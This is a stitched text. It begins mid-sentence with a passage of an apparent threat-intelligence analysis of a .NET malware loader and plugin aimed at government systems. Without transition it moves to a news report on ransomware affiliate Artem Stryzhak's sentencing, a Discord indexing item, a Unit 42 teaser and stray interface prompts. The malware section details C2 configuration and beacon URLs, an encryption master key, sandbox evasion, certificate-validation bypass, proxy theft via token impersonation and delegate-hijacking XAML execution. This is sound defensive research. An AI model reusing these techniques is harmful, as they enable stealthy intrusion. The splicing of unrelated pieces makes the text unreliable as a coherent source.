multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals. is 1200-2400 Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion. u Base64encodedXAML A short XAML snippet that calls Environment.Exit(0) wi 100801 Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process. de False Local exception logging switch: when set to False, exception logging is enabled. si 41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095 UID: generated using a custom method based on the registry key value SusClientId. cu https://openaigpt4vcom/model_v4/ Command-and-control (C2) server URL taken from the C2 server list. tp * Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu. rh Additional route header/data: not configured in this instance. When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items (cu, tp, and rh; see the table above) in that domain using AppDomain.SetData(). Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C(). .NET 2 Plugin This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C(), a thread is spawned to execute the malicious operations. The following key steps are executed in this thread: Configuration initialization: Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables. Gather system information from the registry: "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab" Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434". If any query fails, replace its result with a hyphen (“-“). Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader. Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536). If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey: "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = "" Anti-analysis: Check whether the current host process is dllhost.exe by examining Environment.CommandLine. Prevent the host process from exiting: Create a managed object and retrieve its IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system. Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out. Set maximum execution time: Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item wi) before invoking the callback. The callback fetches the configuration item u, decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0). Periodic polling: Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4 Obtain the system proxy using three methods (see the Discovering proxies section below). Register an HTTPS callback (ServerCertificateValidationCallback) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection. Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list. Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64. // Final HTTP request URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095" Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh. Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section). If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed. AES encryption scheme for network traffic All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values. For a given master key and a single-byte seed, the derivation works as follows: Generate a 16‑byte sequence from the seed; this serves as the HMAC key. Compute HMAC‑SHA256 over the master key to obtain an intermediate key. Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01. Take the first 16 bytes of the resulting hash; this becomes the final derived key. Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side. Seed Key type generated (client side) Key type generated (server side) 0 Decryption key Encryption key 1 Decryption authentication key Encryption authentication key 2 Encryption key Decryption key 3 Encryption authentication key Decryption authentication key The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance. Discovering proxies .NET 2 Plugin detects the system proxy using three methods: Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration(), then extract the proxy server with the regular expression (?:([a-zA-Z]+)=)?(.*). If that fails, locate the running explorer.exe process, impersonate its access token using Impersonate(), and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy(). If both methods fail, fall back to obtaining the proxy from the .NET property DefaultWebProxy. These methods ensure that the malware can reach external networks even in complex network environments with proxies. Execute downloaded XAML payload in an isolated AppDomain This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate (CrossAppDomainDelegate) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse(). When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML. In more detail, the process is as follows: Create a new isolated AppDomain with a randomly generated GUID as its name. Copy all configuration data from the current AppDomain into the new one. Set the proxy information in the new AppDomain and assign it to the variable px. Use TypeConfuseDelegate to replace TimeZoneInfo.ClearCachedData() with XamlReader.Parse(), thereby modifying the MulticastDelegate(CrossAppDomainDelegate). Use appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload. Transfer any updated configuration data from the new AppDomain back to the original AppDomain. Unload the isolated AppDomain to complete the cleanup. This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution. Infrastructure The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare. Domain IP First seen Domain Registrar/ASN openaigpt4v[.]com 104.18.14[.]219 Sep 27, 2023 Cloudflare, Inc. / 15169 Victims Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities. Attribution After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group. Conclusions Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities. Indicators of Compromise File hashes F2458ED133F8D0CA19E22C10F577E98E e4537a1762fcafd2fd96bfc825bad34f9db9a24d E1DC6F1ED193594F2284BE22AE08DFA4 Resources.resx AB81564BCB8CA7E710C66832DE747556 .NET 1 Loader CFB8B281BDF5D9390E64B10C312FB2C1 .NET 2 Plugin 67E3617F8709D34F806F8E02BADBA8A5 fabric.config 514AC0D73B8A1B73488EF5E2E55A75C3 PatchMyPC-ScriptRunner.exe.config 514117D536E347560D049CFE0C609632 XAML-1 9000820D8153C24CD60D53001D3A97B6 XAML-2 B3C4A635179680EDAFB5D006CF0CFFC6 XAML-2-1 4F28622C5E60C01319BF48CF742FE1A5 XAML-2-2 C86D53392A87DD3F3E62D62C9B92A9BD XAML-3 File paths C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config C:\Windows\SoftwareDistribution\Download\Install\fabric.config C:\Windows\SoftwareDistribution\Download\Install\Resources.resx Domains and IPs openaigpt4v[.]com
Artem Stryzhak gets 70 months in prison for Hive and Nefilim ransomware attacks, while the FBI offers $11 million for his alleged co-conspirator. A federal court in Brooklyn has sentenced Artem Stryzhak, a Ukrainian national, to 70 months in prison for using ransomware to extort millions of dollars from victims. The U.S. Attorney’s Office for the Eastern District of New York announced it in a press release, and it also says an $11 million reward remains for a co-conspirator who’s still at large. “Earlier today, in federal court in Brooklyn, Artem Stryzhak, a Ukrainian national, was sentenced by United States District Judge Pamela K. Chen to 70 months in prison for using ransomware to extort millions of dollars from victims.” reads the DoJ’s press release. “The defendant pled guilty in December 2025 to conspiracy to commit fraud, extortion, and related activity in connection with computers. “ In December, Artem Aleksandrovych Stryzhak pleaded guilty in the U.S. for Nefilim ransomware attacks. The Ukrainian citizen was arrested in Spain in 2024 and extradited to the US in April 2025. He pleaded guilty to conspiracy to commit computer fraud, extortion, and related activity Nefilim ransomware was used to encrypt networks worldwide, including in the Eastern District of New York, causing millions in losses from ransom payments and system damage. Attackers employed a customized ransomware executable in each attack, generating unique decryption keys and tailored ransom notes for victims. In June 2021, Nefilim administrators granted Artem Stryzhak access to the ransomware code in exchange for 20% of his ransom proceeds, which he deployed via his account on the administrators’ online platform. Stryzhak and co-conspirators researched victims using online databases to collect information on their net worth, size, and contacts. After gaining network access, they stole data to pressure companies into ransom payments. Nefilim notes warned that stolen data would be posted on publicly accessible “Corporate Leaks” sites maintained by the administrators if victims did not comply. Volodymyr Tymoshchuk, Stryzhak’s co-defendant and Nefilim admin, is a serial ransomware cybercriminal who is still at large. According to court documents, his first role was with Nefilim. Starting around June 2021, he joined the ongoing Nefilim conspiracy as an affiliate and got access to the ransomware. In exchange, he agreed with one of the group’s administrators, Volodymyr Tymoshchuk, to pay the administrators 20 percent of the ransom proceeds. Even crime has licensing fees. One of those attacks came in June 2021, when Stryzhak stole data from a company in the oil and gas transportation industry. About a week later, he created email addresses that went into a ransom note sent to the victim. He kept deploying Nefilim ransomware through at least October 2021. Separately, he also joined the Hive ransomware group as one of its earliest affiliates. From June 2021 to January 2023, Hive’s conspirators attacked about 1,500 victims worldwide, including government entities, hospitals and businesses. The attacks caused major disruption to daily operations around the world and affected responses to the COVID-19 pandemic. One hospital had to give up digital technology to treat its patients and couldn’t take in new ones right after the attack. As a Hive affiliate, Stryzhak and his co-conspirators hit seven victims, including law firms, a dentist’s office and a healthcare provider, during the pandemic. Those victims couldn’t get to their encrypted data. The FBI, as part of a months-long effort to disrupt Hive, gave a decryption key to one of Stryzhak’s victims, so that victim recovered its data without paying a ransom. U.S. Attorney Joseph Nocella, Jr. thanked the FBI’s New York Field Office, the Justice Department’s Office of International Affairs and its Computer Crime and Intellectual Property Section, and Spanish law enforcement for helping to capture him. “Ransomware attacks like those committed by the defendant wreak enormous havoc—harming victim companies that pay millions in remediation and ransoms, preventing hospitals and other critical facilities from accessing data, and putting sensitive information in the hands of bad actors,” stated United States Attorney Nocella. “Today’s sentence reflects that cybercriminals cannot hide from law enforcement and will face significant punishment for their criminal conduct. We remain determined to capture Volodymyr Tymoshchuk, a serial ransomware developer and Stryzhak’s co-conspirator.” The State Department’s Transnational Organized Crime Rewards Program is offering up to $11 million for information that leads to the arrest, conviction or location of Tymoshchuk. Anyone with information can call the FBI at +1-917-242-1407 or email TymoTips@fbi.gov, contact a local field office if in the United States, or reach the nearest U.S. Embassy if overseas. Follow me on Twitter: @securityaffairs and Facebook and Mastodon Pierluigi Paganini (SecurityAffairs – hacking, newsletter)
Discord will allow search engines to index discussions in Discoverable Servers and make them accessible on the web to users outside the platform without an account or invitation. The goal is to surface useful information to the wider internet community instead of keeping it buried in Discord conversations. “Discussions in Discoverable Servers will soon be easier to find when you search the web, so you can find the answer you’re looking for and step straight into the conversation on Discord,” the messaging platform explains. The changes apply only to Discoverable Servers, publicly listed communities with at least 1,000 members. The platform says it hosts approximately 63,000 such servers. This decision excludes private servers, direct messages between users, and group announcements on servers that don’t meet the requirements.
Unit 42 explores key peak shopping season retail cyber threats, from ransomware to AI attacks, and shares how to defend operations and customer trust. The post Unwrapping Retail Peak Season Cyber Threats appeared first on Unit 42.
Confirm this action.
Leaving now will discard your changes.